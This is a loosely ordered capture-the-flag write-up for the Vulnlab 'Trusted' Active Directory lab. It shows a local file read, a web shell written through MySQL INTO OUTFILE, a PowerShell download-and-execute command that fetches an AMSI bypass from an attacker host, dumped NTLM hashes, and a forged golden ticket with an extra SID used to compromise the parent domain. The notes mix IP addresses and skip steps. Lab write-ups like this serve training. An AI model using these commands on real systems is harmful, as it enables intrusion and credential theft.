Trusted is an easy-level machine from Vulnlab. The challenge involves exploiting a web vulnerability to gain an initial foothold on the server, escalating privileges to obtain administrative access, and moving laterally to the domain controller by leveraging a parent-child domain relationship.

Trusted

Enumeration

We begin by scanning the two identified IPs using nmap.

IPHostnameDomainNotes
10.10.234.5trusteddctrusted.vlParent Domain
10.10.234.6labdclab.trusted.vlChild Domain

Scanning 10.10.234.5

sudo nmap -sC -sV -oA 10.10.248.101 10.10.248.102

10.10.234.5 The scan reveals that this machine is the domain controller TrustedDC.

Scanning 10.10.234.6

sudo nmap -sC -sV -oA 10.10.234.6 10.10.234.6

10.10.234.6-1

10.10.234.6-2

The results indicate that this machine is another domain controller, LABDC. The scans confirm the existence of two domains, trusted.vl and lab.trusted.vl, configured in a parent-child relationship.

Enumeration

As we saw port 80 open on the machine LABDC machine we will start enumerating it further.

feroxbuster -k -u http://10.10.248.102:80 -C 404,405,410 -m GET,POST -e -x php,html,txt   

Pages found on 10.10.181.134

https://10.10.181.134/dev/index.html?view=php://filter/convert.base64-encode/resource=db.php
  • base64 decode using cyberchef

mysql

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
| http-title: Welcome to XAMPP
|_Requested resource was http://10.10.181.134/dashboard/
|_http-favicon: Unknown favicon MD5: 56F7C04657931F2D0B79371B2D6E9820
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2024-05-01 08:02:09Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      syn-ack Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/8.1.6)

445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3306/tcp  open  mysql         syn-ack MySQL 5.5.5-10.4.24-
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal 
| rdp-ntlm-info: 
|   Target_Name: LAB
|   NetBIOS_Domain_Name: LAB
|   NetBIOS_Computer_Name: LABDC
|   DNS_Domain_Name: lab.trusted.vl
|   DNS_Computer_Name: labdc.lab.trusted.vl
|   DNS_Tree_Name: trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-05-01T08:03:06+00:00
|_ssl-date: 2024-05-01T08:03:13+00:00; +6s from scanner time.
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
47001/tcp open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0




Nmap scan report for 10.10.181.133
Host is up, received user-set (0.10s latency).
Scanned at 2024-05-01 04:03:11 EDT for 69s

PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack
3268/tcp  open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: trusted.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack
3389/tcp  open  ms-wbt-server syn-ack Microsoft Terminal 

| rdp-ntlm-info: 
|   Target_Name: TRUSTED
|   NetBIOS_Domain_Name: TRUSTED
|   NetBIOS_Computer_Name: TRUSTEDDC
|   DNS_Domain_Name: trusted.vl
|   DNS_Computer_Name: trusteddc.trusted.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2024-05-01T08:04:15+00:00
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing


user@parrot:~/vulnlab/trusted % addcomputer.py -dc-ip 10.10.136.230 lab.trusted.vl/rsmith:IHateEric2  
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies  
  
[*] Successfully added machine account DESKTOP-H2BL6QM4$ with password NsgCSArVrMNabsdxw7cBpDuDK9DxsA6I.
(New-Object System.Net.WebClient).DownloadString("http://10.8.2.41/amsi64.txt") | IEX

Webshell

As the mysql port is open, the db is running as root and via the php info file we can write a web shell to our dev location and RCE.

select '<?php echo "command: " . system($_REQUEST["cmd"]); ?>' into outfile "C:\\xampp\\htdocs\\dev\\shell.php";
cmd=powershell.exe -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.8.2.41/amsi64.txt');
usernamehash
TRUSTEDDC$
cpowers322db798a55f85f09b3d61b976a13c43
LABDC$b24ebda0603c6eb41852654caf59cdee
LABDC$c09bb2eac3477dd3821d956ba314c3af
secretsdump.py 'LABDC$'@10.10.244.198 -hashes c09bb2eac3477dd3821d956ba314c3af:c09bb2eac3477dd3821d956ba314c3af
Administrator:500:aad3b435b51404eeaad3b435b51404ee:75878369ad33f35b7070ca854100bc07:::


krbtgt:502:aad3b435b51404eeaad3b435b51404ee:c7a03c565c68c6fac5f8913fab576ebd:::

lab.trusted.vl\rsmith:1104:aad3b435b51404eeaad3b435b51404ee:30ef48d2054363df9244bc0d476e93dd:::

lab.trusted.vl\ewalters:1106:aad3b435b51404eeaad3b435b51404ee:56d93bd5a8250652c7430a4467a8540a:::

lab.trusted.vl\cpowers:1107:aad3b435b51404eeaad3b435b51404ee:322db798a55f85f09b3d61b976a13c43:::

LABDC$:1000:aad3b435b51404eeaad3b435b51404ee:c09bb2eac3477dd3821d956ba314c3af:::

TRUSTED$:1103:aad3b435b51404eeaad3b435b51404ee:eb35214e0dee200982af13a2239b9300:::

sharpview Get-ForestDomain
lookupsid.py lab.trused.vl/cpowers@10.10.244.198 -hashes aad3b435b51404eeaad3b435b51404ee:322db798a55f85f09b3d61b976a13c43
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Brute forcing SIDs at 10.10.244.198
[*] StringBinding ncacn_np:10.10.244.198[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-2241985869-2159962460-1278545866
500: LAB\Administrator (SidTypeUser)
501: LAB\Guest (SidTypeUser)
502: LAB\krbtgt (SidTypeUser)
512: LAB\Domain Admins (SidTypeGroup)
513: LAB\Domain Users (SidTypeGroup)
514: LAB\Domain Guests (SidTypeGroup)
515: LAB\Domain Computers (SidTypeGroup)
516: LAB\Domain Controllers (SidTypeGroup)
517: LAB\Cert Publishers (SidTypeAlias)
520: LAB\Group Policy Creator Owners (SidTypeGroup)
521: LAB\Read-only Domain Controllers (SidTypeGroup)
522: LAB\Cloneable Domain Controllers (SidTypeGroup)
525: LAB\Protected Users (SidTypeGroup)
526: LAB\Key Admins (SidTypeGroup)
553: LAB\RAS and IAS Servers (SidTypeAlias)
571: LAB\Allowed RODC Password Replication Group (SidTypeAlias)
572: LAB\Denied RODC Password Replication Group (SidTypeAlias)
1000: LAB\LABDC$ (SidTypeUser)
1101: LAB\DnsAdmins (SidTypeAlias)
1102: LAB\DnsUpdateProxy (SidTypeGroup)
1103: LAB\TRUSTED$ (SidTypeUser)
1104: LAB\rsmith (SidTypeUser)
1106: LAB\ewalters (SidTypeUser)
1107: LAB\cpowers (SidTypeUser)

sharpview Get-NetGroup -GroupName "Enterprise Admins" -Domain "trusted.vl"
S-1-5-21-3576695518-347000760-3731839591
ticketer.py -nthash c7a03c565c68c6fac5f8913fab576ebd -domain lab.trusted.vl -domain-sid S-1-5-21-2241985869-2159962460-1278545866 -extra-sid S-1-5-21-3576695518-347000760-3731839591-519 Administrator
secretsdump.py lab.trusted.vl/Administrator@TRUSTEDDC.trusted.vl -k -no-pass -target-ip 10.10.244.197